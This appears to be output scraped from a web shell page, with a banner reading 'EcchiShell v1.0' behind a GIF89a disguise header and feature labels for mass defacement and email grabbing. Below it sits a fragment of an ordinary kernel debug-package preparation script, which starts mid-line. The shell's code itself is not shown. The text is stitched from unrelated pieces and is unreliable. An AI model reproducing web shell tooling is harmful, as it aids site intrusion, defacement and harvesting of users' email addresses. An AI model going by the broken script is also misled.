GIF89a; EcchiShell v1.0
//usr/bin/

Mass Deface Email Grabber

/dev/null; then $DI -y $KERNEL-$KERN_REV.$KERN_ARCH; fi rpm -q $NEEDED rc=$? check_error $rc "problem installing rpm(s) $NEEDED\nin case of file conflicts, try again after # $D erase $KERNEL-debuginfo" fi fi } prep_deb_based() { if [ $# -ne 0 ]; then echo "Specifying kernel version is not yet support on deb based systems." 1>&2 exit 1 fi # 2.6.32-5-amd64 # 2.6.32-37-generic ABINAME="$(cut -d " " -f 3 /proc/version)" # 2.6.32 BASEVERSION="$(echo "$ABINAME" | cut -d "-" -f 1)" case "$DISTRO" in Debian) # 2.6.32-39 if uname -v | grep -q Debian; then VERSION="$(uname -v | cut -d " " -f 4)" else VERSION="$(cut -d " " -f 3 /proc/version)" fi ;; Ubuntu) # 2.6.32-37.81 VERSION="$(cut -d " " -f 2 /proc/version_signature | cut -d "-" -f 1-2)" ;; esac ( echo "make >= 0" echo "linux-image-$ABINAME = $VERSION" echo "linux-headers-$ABINAME = $VERSION" echo "linux-image-$ABINAME-dbgsym = $VERSION" ) | while read package relation requiredversion; do installedversion="$(dpkg-query -W "$package" 2> /dev/null | cut -f 2)" if [ "$installedversion" = "" ]; then availableversion="$(apt-cache show $package 2> /dev/null | grep ^Version: | cut -d " " -f 2)" if [ "$availableversion" = "" -a "$(echo $package | grep dbgsym$)" ]; then echo "You need package $package but it does not seem to be available" if [ "$DISTRO" = "Ubuntu" ]; then echo " Ubuntu -dbgsym packages are typically in a separate repository" echo " Follow https://wiki.ubuntu.com/DebuggingProgramCrash to add this repository" elif [ "$DISTRO" = "Debian" ]; then echo " Debian -dbgsym packages are typically in a separate repository" echo " Follow https://wiki.debian.org/AutomaticDebugPackages to add this repository" fi else echo "Please install $package" fi elif ! dpkg --compare-versions $installedversion $relation $requiredversion; then echo "Package $package version $installedversion does not match version of currently running kernel: $requiredversion" echo " Consider apt-get upgrade && reboot" fi done user="$(id --user --name)" if [ "$user" != "root" ]; then groups="$(id --groups --name)" for i in stapusr stapdev; do if [ "$(echo $groups | grep $i)" = "" ]; then echo "Be root or adduser $user $i" fi done fi } DISTRO="$(lsb_release --id --short 2> /dev/null)" if [ $? -ne 0 ]; then DISTRO="unknown" fi case "$DISTRO" in Debian|Ubuntu) prep_deb_based "$@" ;; *) prep_rpm_based "$@" ;; esac